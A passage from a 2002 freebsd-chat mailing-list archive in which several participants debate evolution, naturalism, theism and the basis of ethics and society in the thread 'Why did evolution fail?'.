gas, > > > but not an Oxygen/Nitrogen mix. The environment votes, most > > > explosively. > > > > It's not the environment that votes, it's the creature that dies. > > The environment is fairly static in this case. > > The environment chooses the creatures which survive. Why do you insist on reifying nature? Are you a pantheist? > My personal preference it to analyze the problem, determine > the class of problems it represents (if non-unique), and then > solve for the set of problems in the space represented by the > class, do it once, and never have to look back. I hate having > to solve the same problem more than once: it's an incredible > waste of my time. Have you solved the problem of induction yet? 8-) > Amusing. I was admiring this song the other night, when I > and another person were on our way to see a movie. I rather > expect the parts I was admiring were not the same parts you > admire enough to quote it to me. > > I'm put in a mind of the scene from the movie "A Fish Called > Wanda", in which Wanda and Otto are discussing his reading of > Nietsche... Now there's an atheist! Closest thing to an honest atheist, if there ever was such a thing... I like what he said about using grammar, that he feared we still believed in God, because we still believe in grammar. Trouble with philosophizing with a hammer is when that hammer can be turned against you. > > > What questions which cannot be dealt with rationally? > > > > "Is there a God?" "Why are we here?" "What is the one difference > > between a sacred being and an evil being?" > > > > Those are some examples. Have fun. ;) > > How to deal with them rationally: "I don't know". Consider this hypothesis: "For the wrath of God is revealed from heaven against all ungodliness and unrighteousness of men who suppress the truth in unrighteousness, because that which is known about God is evident within them; for God made it evident to them. For since the creation of the world His invisible attributes, His eternal power and divine nature, have been clearly seen, being understood through what has been made, so that they are without excuse. For even though they knew God, they did not honor Him as God or give thanks, but they became futile in their speculations, and their foolish heart was darkened." (Romans 1:18-21) > > > "Human being" is a definition that encompasse both genetics and > > > programming. If someone lacks the proper programming, then by > > > definition, they are merely homo sapiens, not human beings. > > > > Nice dodge. ;) > > Not a dodge. My Uncle-by-marriage's sister is the person who > dispenses Charles Manson's medication. Some people yanked out > out their interface cables before the programming was complete. Can't go there, remember? There is no Programmer, hence no programming. 8-) Regards, Neal To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-chat" in the body of the message From owner-freebsd-chat Tue Sep 3 18:16:39 2002 Delivered-To: freebsd-chat@freebsd.org Received: from mx1.FreeBSD.org (mx1.FreeBSD.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id C0B6A37B400 for ; Tue, 3 Sep 2002 18:16:36 -0700 (PDT) Received: from jive.SoftHome.net (jive.SoftHome.net [66.54.152.27]) by mx1.FreeBSD.org (Postfix) with SMTP id 2E32843E6A for ; Tue, 3 Sep 2002 18:16:36 -0700 (PDT) (envelope-from yid@softhome.net) Received: (qmail 14838 invoked by uid 417); 4 Sep 2002 01:16:30 -0000 Received: from shunt-smtp-out-0 (HELO softhome.net) (172.16.3.12) by shunt-smtp-out-0 with SMTP; 4 Sep 2002 01:16:30 -0000 Received: from planb ([216.194.5.7]) (AUTH: LOGIN yid@softhome.net) by softhome.net with esmtp; Tue, 03 Sep 2002 19:16:29 -0600 Date: Tue, 3 Sep 2002 21:15:27 -0400 From: Joshua Lee To: "Neal E. Westfall" Cc: dave@jetcafe.org, tlambert2@mindspring.com, chat@FreeBSD.ORG Subject: Re: Why did evolution fail? Message-Id: <20020903211527.1a0655b6.yid@softhome.net> In-Reply-To: <20020903144201.Q66978-100000@Tolstoy.home.lan> References: <200209021141.g82Bf7157514@hokkshideh2.jetcafe.org> <20020903144201.Q66978-100000@Tolstoy.home.lan> Organization: Plan B Software Labs X-Mailer: Sylpheed version 0.8.2claws (GTK+ 1.2.10; i386-portbld-freebsd4.6) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-chat@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.org On Tue, 3 Sep 2002 14:57:11 -0700 (PDT) "Neal E. Westfall" wrote: > naturalism as a viable worldview. In fact, if naturalism is false its > opposite, supernaturalism must be true. > > Moreover, not just any supernaturalism will do. It must provide the > preconditions for rationality, ethics, science, human dignity, > freedom, intellectual disagreements, etc. Exactly. Judaism. What, that wasn't the religion you had in mind? ;-) The problem with these sorts of philosophical conjectures is that if, despite Kant's objections, they could be proven; they rarely prove any particular religion's cogence. Somehow I knew that since the subject line contained the word "evolution" that the missionaries would come out of the woodwork. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-chat" in the body of the message From owner-freebsd-chat Tue Sep 3 19:10:48 2002 Delivered-To: freebsd-chat@freebsd.org Received: from mx1.FreeBSD.org (mx1.FreeBSD.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 61B0D37B400 for ; Tue, 3 Sep 2002 19:10:30 -0700 (PDT) Received: from swan.mail.pas.earthlink.net (swan.mail.pas.earthlink.net [207.217.120.123]) by mx1.FreeBSD.org (Postfix) with ESMTP id B18DE43E65 for ; Tue, 3 Sep 2002 19:10:29 -0700 (PDT) (envelope-from tlambert2@mindspring.com) Received: from pool0171.cvx21-bradley.dialup.earthlink.net ([209.179.192.171] helo=mindspring.com) by swan.mail.pas.earthlink.net with esmtp (Exim 3.33 #1) id 17mPce-0005Oh-00; Tue, 03 Sep 2002 19:10:24 -0700 Message-ID: <3D756B53.173640C0@mindspring.com> Date: Tue, 03 Sep 2002 19:09:23 -0700 From: Terry Lambert X-Mailer: Mozilla 4.79 [en] (Win98; U) X-Accept-Language: en MIME-Version: 1.0 To: "Neal E. Westfall" Cc: Dave Hayes , chat@FreeBSD.ORG Subject: Re: Why did evolution fail? References: <20020831093523.G8288-100000@Tolstoy.home.lan> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-chat@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.org "Neal E. Westfall" wrote: > So then would it be correct to classify you as a monist? It seems > that you and Dave are actually on the same wavelength after all! > I know, I know, he's a dualist, but considering the fact that he > thinks everything is just one big dance, he's ultimately a monist. > Everything just "is." I would say that Dave is a monist, or has, at least, "demonstrated monist tendencies". I would not argue that the air which a person breates and the food which they eat is, because their removal will result in the person's death, therefore a part of the person (i.e. an example of a strict monist viewpoint). If I *were* a monist, I would need to argue Dave's point about the validity of trolls. > > > By the same token, is the development of light bulbs a good thing? > > > Why? What I'm trying to get at is your ultimate criteria. Usefulness? > > > But then pragmatism is only useful if you know what ends to pursue. > > > > "What is the meaning of life?" 8-). > > According to the Westminster Larger Catechism, Q&A#1, "To glorify > God and enjoy Him forever." 8-) Probably explains why they haven't named an Abbey after me yet... 8-). > > I don't claim to have an answer to that question. What I do claim > > is that resetting the clock to an earlier time does no good. We know > > this because, to analogize Dave Hayes, there was no sudden heavenly > > chorus announcing the amount of real, user, and system time elapsed > > since the beginning of the universe, now that the run is complete. > > It's complete? If "The Answer" was arrived at at an earlier time, then yes, by definition. > > There is also the slight problem that clocks run forward, meaning > > that eventually you will get to the same point yet again, so you > > might as well cross that bridge sooner rather than later. > > You'll have to excuse me for missing your point! You can't put off the future forever. > The problem with analogies is that sometimes they prove too much. Have > you ever met the Programmer? There's a programmer? 8-). > > So I think most of these standards of conduct are emergent, based > > on their anti- or pro- species survival value. > > Isn't the concept of "emergence" just a clever mask for "faith-based > committment"? I mean really, as a theist, I feel like an absolute > rationalist compared to you evolutionists! Consider this: [ ... ] > All of this is self-emergent, or self-creating, with no help from > any supernatural intelligence! I look at that and think, wow, > I guess I just don't have that kind of faith! Hence, the > classification of evolution as a religion. Louis Pasteur > disproved spontaneous generation but I guess some ideas die hard. The rationalist view is that, given two explanations which fit the facts, the simpler one is the correct one. > > Jealousy. Trolls crossing the borders. Inability to effectively > > compete in the context of a given consensus rule set (e.g. there are > > no radical Moslem First World countries, there are no first world > > countries without some form of population controls, volintary or > > otherwise, there are no first world countries without immigration > > controls, there are no dominant religions that favor birth control, > > etc., etc.). > > Well, then why do we fight back, if not to impose our standards > of morality on them? Besides, I would hardly classify Islam as > "not a dominant religion", unfortunate as that fact is. 1) Or to *prevent* other people from imposing their standards on you. 2) Islam favors birth control? Since when? > Yes, but one would have to show that propagation of the genetic > material and survival of the species is a goal worthy of pursuing. Not really. You'd only have to show that it was desirous, not "worthy". > I mean, how do you know that murder victims are just the unhappy > losers in the evolutionary fight for survival? You mean "aren't", I guess. One answer is that murderers are not so prevalent as to constitute a generalized evolutionary pressure. > Why do we keep trying to subvert evolution with such things as > "consensus rule sets"? This seems to be self-defeating (in the > larger scheme of things). Maybe humans are, at heart, Lamarckians. > This all just seems like so much rationalization. I admit, longer > reproductive life spans and higher standard of living is nice from a > subjective perspective, but in the ultimate scheme of things how do > we know it isn't counter-productive? It is not the job of evoution to be "counter-productive" or "productive". You assume a goal, without a goal in evidence. > > I guess in terms of conflicting societies, it comes down to whether > > powerful society A can suffer less powerful society B to exist. > > Sometimes it comes down to whether more powerful society A can suffer > itself to exist, or rather God can suffer it to exist. All societies which have ever existed have been suffered to come into existance in the first place, by definition, if, in fact, anyone is suffering them at all. > Why are mutual boundaries relevant? I mean, what does it really > matter if one piece of bio-matter A inadvertently bumps into > another piece of bio-matter B, and in the process changes it's > state from what we arbitrarily call "alive" to an equally > arbitrarily named state we call "dead". Such is nature red in > tooth and claw. To ignore the boundaries is to not admit the possibility of stalemate. > > > Or do you advocate a global society? > > > > Not really. I recognize it as emergent. The Geneva Convention, > > The World Court, The World Intellctual Property Association, > > Maritime Law, International Law, war, treaties, capitualation, > > etc.. > > Of course, what you call "emergent", is what some of us would > call "providence". Call it what you want; if you need to believe that will is required as a first mover in all things, go ahead and believe that, though it's easy to conceptualize such things occurring in the absence of will. > > > If so, is whatever mores that society adopts right by definition? > > > > Personally, I believe a global society is not possible, at least > > until there are one or more additional globes involved. Call it > > a result of "Thalience". 8-). There is an implicit need of "the > > other", at least in all the societies we've so far managed to > > construct. > > Kind of a yin and yang thing then, eh? You can't sort things into two groups by going through every one of them, one at a time, if, after identifying which group it belongs two, you throw them randomly back in the same bin. 8-). There has to be a mutually acknowledged border. > > > Then it would not be an internal code of conduct, by definition. > > > Just because you wouldn't engage in a particular activity doesn't > > > mean that somebody else shouldn't. > > > > It turns out that there is an escape hatch. It has to do with the > > semantics of "human being". This is actually *why* it's OK to kill > > the enemy, without having to make an explicit exception which leads > > you to a slippery slope: you define them to not be a human being. > > The Sioux understood this implicitly. The translation of the Sioux > > word for themselves is "human being". > > So did the National Socialists. That's some escape hatch. More > like out of the frying pan into the fire. That's all well and good, > until you find yourself on the receiving end of being defined in > such a manner. For example, when you break into someone's house and threaten to kill their child, and find yourself killed by one of the parents in consequence, because at that point, the parent is able to define a human being as "not someone who would do this"? Some definitions are emergent. > > In reality, there's no avoiding externalizing ethics; if it's wrong > > to kill another human being, then it's wrong whwther the act is > > manifest by comission (performing the act) or omission (you permitting > > the act to be performed). By not acting, you act. > > On the other hand, if man is the imago Deo, you at least have > a rationale for protecting God's image bearers through the means of > capital punishment. ...Of God's image bearers? That doesn't make sense; it's self contradictory. > You fail to distinguish between murder and killing. Killing > under most circumstances *is* wrong, but in some circumstances > the greater sin comes from allowing murderers to live. Not coming from the theory of morphological value you've put forth... from that theory, the murderer could in fact be acting as an instrument of God's will. Mostly we lock those people up. > Hence, as a previous poster pointed out, the governing > authorities (whether Christian, or pagan) are ministers of God's > wrath. By virtue of a popular election? I didn't realize that God had deputized the population with the power to deputize people to act on His behalf. I must not have got that memo... > > It is moral *within the context of that society*. Whether neighboring > > societies would tolerate the activity is another matter altogether. > > Societies hold each other to consensual standards, as well, in the > > context of the society of societies of which they are members. > > Why shouldn't they tolerate it? It's not a matter of "should" or "should not". Tolerance or intolerance arises fron consensus among the society of societies. > > > > Individuals do not have morals, though individuals may *be* moral > > > > or *act* morally or *demonstrate* morality. > > > > > > Act morally with regard to what? You seem to think that a society > > > cannot enshrine laws that are immoral. > > > > They can't. They can enact them, but they can't enshrine them > > without the consent of the governed. The police will refuse to > > enforce them, or the citizens will ignore them. That's the > > difference between a law that has been enacted, and one that is > > in effect. > > I'm talking about a society that *does* consent, such as one that > tolerates abortion. Dave Hayes made the initial statement. What you, Neal E. Westfall are talking about, is adjunct context to the original discussion, isn't it? ;^). > By the way, if it were not for imigration, most Western societies > would be decreasing in population, as the native population is not > reproducing fast enough to replenish those being lost. You act like you believe this is a bad thing, that a higher population is somehow a global good. > And by the way, speaking of abortion, isn't this also > counter-productive to evolution? Not really. What is evolution's goal, such that abortion is counter to it? > > In the case of a police state, where physical power is centralized, > > there's always the possibility of subversion, infiltration, or, in > > the limit, human wave assault. > > This usually ends up with many dead humans. Yes. But one ideal wins dominance. > > To have a society is to grant that society rights over individuals. > > There is no such thing as a tyranny of one. By your argument, all > > jailed tyrants should be freed, because it's tyranical to jail a > > tyrant. But in freeing a tyrant to act upon your society, are you > > not therefore still tyranical, this time by proxy? > > Ah, the fallacy of the false dichotomy. Why is this dichotomy false? > I never advocated Dave's position any more than I advocated yours. > I don't define tyranny as being "not free". With freedom comes > responsibility, and it is acknowledged that the state must be > granted some degree of power for the purpose of securing individual > rights. This means putting tyrants in jail, and defining freedom > in such a way as that it excludes acts of wickedness. For this we > need an external, objective standard of ethics. Not really. All you need is a self-consistent system of ethics. > > > I see. And what exactly is "the greatest good for the greatest > > > number"? Weeding out inferior individuals from the gene pool? > > > Why not? Moreover, who makes these decisions? Philosopher-kings? > > > > Whoever the governed consent to have govern them. > > I would still like to know what "the greatest good for the greatest > number" means. It means whatever consensus says it means. > Sounds kind of like Marx, or Star Trek. The problem, > or course, is who gets to decide what the "good." Whoever the governed consent to have govern them. > Well, let's take the logic of naturalism for example. Recall that > naturalism attempts to account for everything on the basis that > all that exists is matter/energy and the operation of physical laws. > > Premise A: All current states of matter/energy are determined by > the operation of physical laws on antecedent states > of matter/energy. > Premise B: My current beliefs can be accounted for solely on > naturalistic principles. > Premise C: Other people's beliefs can be accounted for solely on > naturalistic principles. > > Conclusion D: All beliefs are pre-determined. So randomness is supernatural? You conclusion is invalid, if naturalistic principles permit randomness. > IOW, you cannot get from electro-chemical reactions in the grey-matter > to the notion of "true belief" and "false belief". All beliefs can > only be accounted for on naturalistic terms, therefore nobody can > say that their particular view of reality is true in the sense that > it is the actual state of affairs that obtains, but rather you > couln't help but believe what you believe, because that's just the > way the synapses fired in your brain. And if someone else holds to > a diametrically opposed view, it cannot be deemed "false" since it > too is just the result of electro-chemical reactions in their brain. > In short, if naturalism is true, it could never be known to be true. > It would be like saying the Mississippi "knows" how to get to the > ocean, while Lake Michigan does not. You appear to be trying to recreate an example of Godel's incompleteness theorem, using a naturalistic example. The problem with doing that is that naturalism recognizes Godel. > And I've already anticipated your answer. You will say that > reasoning abilities are "emergent". To which I will respond, > "How?" Please elaborate. I don't understand what your example has to do with the existance or non-existance of reasoning. All you've really addressed is the idea that contradictory beliefs can be held by different people. I would point out that the naturalist view is that these contradictory beliefs can be tested empirically, and if false, be falsified. I think that many people apparently don't understand that the scientific process is about the falsification of hypotheses; a scientist does not *prove* things, a scientist only ever *disproves* things. A hypothesis, if it has not yet been disproven, is still just a hypothesis, not Truth. The standard we use to judge one hypothesis against another, if neither has yet been disproven, is that of simplicity: the simpler explanation is presumed to be the correct one, unless there is evidence to the contrary (thus falsifying the simpler explanation). > > > Then I would have to ask to what end such "self-organizing systems" > > > attain? Organizing into what? For what purpose? > > > > Why does there have to be a purpose? > > If you say something has a teleological basis, it has a purpose by > definition. I think you are consuing teleology and theology? > > It may matter to you, personally. If it does, you with either act > > within the system, to change the mechanism whereby the action results > > in a penalty, or you will engage in civil disobedience to provide an > > example to others -- sacrificing yourself to the greater good, or you > > will declare your seperateness from society, in some way. > > Yes, yes, I know. But can you explain, on your worldview, why such > disagreements should arise in the first place? Manifest self interest by one of the complaintants. > > So you will change the rule, or you will be removed from the conflict > > situation, or you will remove yourself from the conflict situation. > > No matter what you do (or the actual outcome), the conflict will be > > resolved to the satisfaction of the society. > > Yes, but this is all beside the point. It is purely descriptive. > To what ends *should* society be seeking? IMO? The advancement of human knowledge. If nothing else, we will end up finding the answer to the question os what ends society should be seeking, and, most importantly, not be able to falsify the idea that we have discovered the answer. -- Terry To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-chat" in the body of the message From owner-freebsd-chat Tue Sep 3 19:24:56 2002 Delivered-To: freebsd-chat@freebsd.org Received: from mx1.FreeBSD.org (mx1.FreeBSD.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 895F437B400 for ; Tue, 3 Sep 2002 19:24:50 -0700 (PDT) Received: from swan.mail.pas.earthlink.net (swan.mail.pas.earthlink.net [207.217.120.123]) by mx1.FreeBSD.org (Postfix) with ESMTP id 2D12F43E42 for ; Tue, 3 Sep 2002 19:24:50 -0700 (PDT) (envelope-from tlambert2@mindspring.com) Received: from pool0171.cvx21-bradley.dialup.earthlink.net ([209.179.192.171] helo=mindspring.com) by swan.mail.pas.earthlink.net with esmtp (Exim 3.33 #1) id 17mPqa-0002Xy-00; Tue, 03 Sep 2002 19:24:48 -0700 Message-ID: <3D756EB4.DE0179ED@mindspring.com> Date: Tue, 03 Sep 2002 19:23:48 -0700 From: Terry Lambert X-Mailer: Mozilla 4.79 [en] (Win98; U) X-Accept-Language: en MIME-Version: 1.0 To: "Neal E. Westfall" Cc: Dave Hayes , chat@FreeBSD.ORG Subject: Re: Why did evolution fail? References: <20020903133932.W66978-100000@Tolstoy.home.lan> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-chat@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.org "Neal E. Westfall" wrote: > On Sat, 31 Aug 2002, Terry Lambert wrote: > > > > Nature seems to vote against that one. > > > > > > How so? > > > > By evolving creatures who imprison or kill peers who engage in > > forcible reproductive acts, thereby ensuring their removal from > > the gene pool. > > Have either of you ever wondered why, over billions of years, evolution > hasn't made these problems irrelevant? I mean, how many billions of > years do we need to wait for evolution to kick in and remove the > miscreants? Either it's not a genetic trait, or the gene is recessive. Recessive genes do not get eliminated from the population, because there is no evolutionary pressure on the bearers of the genes, only on their offspring in which the genes are expressed. > > A society no more cares for its individual members than you > > care for the individual cells which make up your body. > > Why then all the talk about "the rights of the state"? Thus implying a state which cares not for individual members has no rights? By that argument, we should not talk about the rights of the individual, since individuals are made up of cells, yet do not care for the rights of the individual cells of which they are composed... and therefore have no rights. -- Terry To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-chat" in the body of the message From owner-freebsd-chat Tue Sep 3 19:29:38 2002 Delivered-To: freebsd-chat@freebsd.org Received: from mx1.FreeBSD.org (mx1.FreeBSD.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 24F5D37B400 for ; Tue, 3 Sep 2002 19:29:36 -0700 (PDT) Received: from flamingo.mail.pas.earthlink.net (flamingo.mail.pas.earthlink.net [207.217.120.232]) by mx1.FreeBSD.org (Postfix) with ESMTP id D876643E6E for ; Tue, 3 Sep 2002 19:29:35 -0700 (PDT) (envelope-from tlambert2@mindspring.com) Received: from pool0171.cvx21-bradley.dialup.earthlink.net ([209.179.192.171] helo=mindspring.com) by flamingo.mail.pas.earthlink.net with esmtp (Exim 3.33 #1) id 17mPvC-00064A-00; Tue, 03 Sep 2002 19:29:34 -0700 Message-ID: <3D756FD1.1BA06101@mindspring.com> Date: Tue, 03 Sep 2002 19:28:33 -0700 From: Terry Lambert X-Mailer: Mozilla 4.79 [en] (Win98; U) X-Accept-Language: en MIME-Version: 1.0 To: "Neal E. Westfall" Cc: Dave Hayes , chat@FreeBSD.ORG Subject: Re: Why did evolution fail? References: <20020903144201.Q66978-100000@Tolstoy.home.lan> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-chat@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.org "Neal E. Westfall" wrote: > Some questions are proven from the impossibility of the contrary. If > a particular worldview does not provide the preconditions of rationality, > it should be rejected. For example, the fact that naturalism undermines > the ability to know whether one's views are true or false eliminates > naturalism as a viable worldview. In fact, if naturalism is false its > opposite, supernaturalism must be true. Incorrect. Naturalism allows one to know *if* their views are false. It just doesn't permit one to know *that* one's views are true, or merely a useful approximation of truth which may be later disproven by future collection of empirical evidence. -- Terry To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-chat" in the body of the message From owner-freebsd-chat Tue Sep 3 19:35:22 2002 Delivered-To: freebsd-chat@freebsd.org Received: from mx1.FreeBSD.org (mx1.FreeBSD.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 7E70C37B400 for ; Tue, 3 Sep 2002 19:35:20 -0700 (PDT) Received: from flamingo.mail.pas.earthlink.net (flamingo.mail.pas.earthlink.net [207.217.120.232]) by mx1.FreeBSD.org (Postfix) with ESMTP id C639A43E75 for ; Tue, 3 Sep 2002 19:35:19 -0700 (PDT) (envelope-from tlambert2@mindspring.com) Received: from pool0171.cvx21-bradley.dialup.earthlink.net ([209.179.192.171] helo=mindspring.com) by flamingo.mail.pas.earthlink.net with esmtp (Exim 3.33 #1) id 17mQ0k-0006OV-00; Tue, 03 Sep 2002 19:35:18 -0700 Message-ID: <3D75712A.E383C304@mindspring.com> Date: Tue, 03 Sep 2002 19:34:18 -0700 From: Terry Lambert X-Mailer: Mozilla 4.79 [en] (Win98; U) X-Accept-Language: en MIME-Version: 1.0 To: "Neal E. Westfall" Cc: Dave Hayes , chat@FreeBSD.ORG Subject: Re: Why did evolution fail? References: <20020903145752.T66978-100000@Tolstoy.home.lan> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-chat@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.org "Neal E. Westfall" wrote: > You guys are quite amusing to read! The only thing you can agree > on is your anemic prejudices against theology. I don't personally know if there is a God or not. Barring evidence one way or the other, the choice between any two competing hypothesis must be made on the basis of which of the two is simpler. You seem to believe that the making of this choice constitutes evidence of belief (or disbelief). -- Terry To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-chat" in the body of the message From owner-freebsd-chat Tue Sep 3 19:47:20 2002 Delivered-To: freebsd-chat@freebsd.org Received: from mx1.FreeBSD.org (mx1.FreeBSD.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id E572637B400 for ; Tue, 3 Sep 2002 19:47:16 -0700 (PDT) Received: from scaup.mail.pas.earthlink.net (scaup.mail.pas.earthlink.net [207.217.120.49]) by mx1.FreeBSD.org (Postfix) with ESMTP id 89B3C43E6A for ; Tue, 3 Sep 2002 19:47:16 -0700 (PDT) (envelope-from tlambert2@mindspring.com) Received: from pool0171.cvx21-bradley.dialup.earthlink.net ([209.179.192.171] helo=mindspring.com) by scaup.mail.pas.earthlink.net with esmtp (Exim 3.33 #1) id 17mQCD-0004NW-00; Tue, 03 Sep 2002 19:47:09 -0700 Message-ID: <3D7573F0.EDC1196B@mindspring.com> Date: Tue, 03 Sep 2002 19:46:08 -0700 From: Terry Lambert X-Mailer: Mozilla 4.79 [en] (Win98; U) X-Accept-Language: en MIME-Version: 1.0 To: "Neal E. Westfall" Cc: Dave Hayes , chat@FreeBSD.ORG Subject: Re: Why did evolution fail? References: <20020903151011.S66978-100000@Tolstoy.home.lan> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-chat@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.org "Neal E. Westfall" wrote: > On Mon, 2 Sep 2002, Terry Lambert wrote: > > Dave Hayes wrote: > > > It's not the environment that votes, it's the creature that dies. > > > The environment is fairly static in this case. > > > > The environment chooses the creatures which survive. > > Why do you insist on reifying nature? Are you a pantheist? No. Recognizing that the environment acts upon an individual doesn't take a pantheist (I guess it also puts the nail in the coffin of your idea that I am a Monoist... ;^)). > > My personal preference it to analyze the problem, determine > > the class of problems it represents (if non-unique), and then > > solve for the set of problems the space represented by the > > class, do it once, and never have to look back. I hate having > > to solve the same problem more than once: it's an incredible > > waste of my time. > > Have you solved the problem of induction yet? > 8-) If I had, then you are probably having this conversation with a computer program. 8-). > Consider this hypothesis: > > "For the wrath of God is revealed from heaven against all > ungodliness and unrighteousness of men who suppress the > truth in unrighteousness, because that which is known about > God is evident within them; for God made it evident to them. > For since the creation of the world His invisible attributes, > His eternal power and divine nature, have been clearly seen, > being understood through what has been made, so that they are > without excuse. For even though they knew God, they did not > honor Him as God or give thanks, but they became futile in > their speculations, and their foolish heart was darkened." > (Romans 1:18-21) It's always easy to argue in third person perfect, because you never have to take the blame for the ideas, and there's never an appeal to a contradictory witness to worry about. 8-). > > Not a dodge. My Uncle-by-marriage's sister is the person who > > dispenses Charles Manson's medication. Some people yanked out > > out their interface cables before the programming was complete. > > Can't go there, remember? There is no Programmer, hence no > programming. > 8-) That's "Programmer", not "programmer". 8-). -- Terry To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-chat" in the body of the message From owner-freebsd-chat Tue Sep 3 23:48:39 2002 Delivered-To: freebsd-chat@freebsd.org Received: from mx1.FreeBSD.org (mx1.FreeBSD.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id D44CF37B400 for ; Tue, 3 Sep 2002 23:48:37 -0700 (PDT) Received: from jive.SoftHome.net (jive.SoftHome.net [66.54.152.27]) by mx1.FreeBSD.org (Postfix) with SMTP id 0BB8343E65 for ; Tue, 3 Sep 2002 23:48:37 -0700 (PDT) (envelope-from yid@softhome.net) Received: (qmail 18757 invoked by uid 417); 4 Sep 2002 06:12:54 -0000 Received: from shunt-smtp-out-0 (HELO softhome.net) (172.16.3.12) by shunt-smtp-out-0 with SMTP; 4 Sep 2002 06:12:54 -0000 Received: from planb ([216.194.24.63]) (AUTH: LOGIN yid@softhome.net) by softhome.net with esmtp; Wed, 04 Sep 2002 00:12:52 -0600 Date: Wed, 4 Sep 2002 02:11:49 -0400 From: Joshua Lee To: Terry Lambert Cc: nwestfal@directvinternet.com, dave@jetcafe.org, chat@FreeBSD.ORG Subject: Re: Why did evolution fail? Message-Id: <20020904021149.10d2e0f4.yid@softhome.net> In-Reply-To: <3D75712A.E383C304@mindspring.com> References: <20020903145752.T66978-100000@Tolstoy.home.lan> <3D75712A.E383C304@mindspring.com> Organization: Plan B Software Labs X-Mailer: Sylpheed version 0.8.2claws (GTK+ 1.2.10; i386-portbld-freebsd4.7) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-chat@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.org On Tue, 03 Sep 2002 19:34:18 -0700 Terry Lambert wrote: > "Neal E. Westfall" wrote: > > You guys are quite amusing to read! The only thing you can agree > > on is your anemic prejudices against theology. Actually, we weren't talking much about theology until you took offense at the subject line. > I don't personally know if there is a God or not. > > Barring evidence one way or the other, the choice between any > two competing hypothesis must be made on the basis of which of > the two is simpler. Terry, William of Occam was a theist. ;-) To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-chat" in the body of the message From owner-freebsd-chat Wed Sep 4 4:13:58 2002 Delivered-To: freebsd-chat@freebsd.org Received: from mx1.FreeBSD.org (mx1.FreeBSD.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 1723937B400 for ; Wed, 4 Sep 2002 04:13:57 -0700 (PDT) Received: from swan.mail.pas.earthlink.net (swan.mail.pas.earthlink.net [207.217.120.123]) by mx1.FreeBSD.org (Postfix) with ESMTP id 97BB843E72 for ; Wed, 4 Sep 2002 04:13:56 -0700 (PDT) (envelope-from tlambert2@mindspring.com) Received: from pool0015.cvx21-bradley.dialup.earthlink.net ([209.179.192.15] helo=mindspring.com) by swan.mail.pas.earthlink.net with esmtp (Exim 3.33 #1) id 17mY6c-0000P5-00; Wed, 04 Sep 2002 04:13:55 -0700 Message-ID: <3D75EAB5.A523FDCA@mindspring.com> Date: Wed, 04 Sep 2002 04:12:53 -0700 From: Terry Lambert X-Mailer: Mozilla 4.79 [en] (Win98; U) X-Accept-Language: en MIME-Version: 1.0 To: Joshua Lee Cc: nwestfal@directvinternet.com, dave@jetcafe.org, chat@FreeBSD.ORG Subject: Re: Why did evolution fail? References: <20020903145752.T66978-100000@Tolstoy.home.lan> <3D75712A.E383C304@mindspring.com> <20020904021149.10d2e0f4.yid@softhome.net> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-chat@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.org Joshua Lee wrote: > On Tue, 03 Sep 2002 19:34:18 -0700 > Terry Lambert wrote: > > I don't personally know if there is a God or not. > > > > Barring evidence one way or the other, the choice between any > > two competing hypothesis must be made on the basis of which of > > the two is simpler. > > Terry, William of Occam was a theist. ;-) My uncle, who is names on the patent for microwave ovens, still to this day refuses to have one in his house... your point is? 8-). -- Terry To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-chat" in the body of the message From owner-freebsd-chat Wed Sep 4 4:40:42 2002 Delivered-To: freebsd-chat@freebsd.org Received: from mx1.FreeBSD.org (mx1.FreeBSD.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 0358B37B400 for 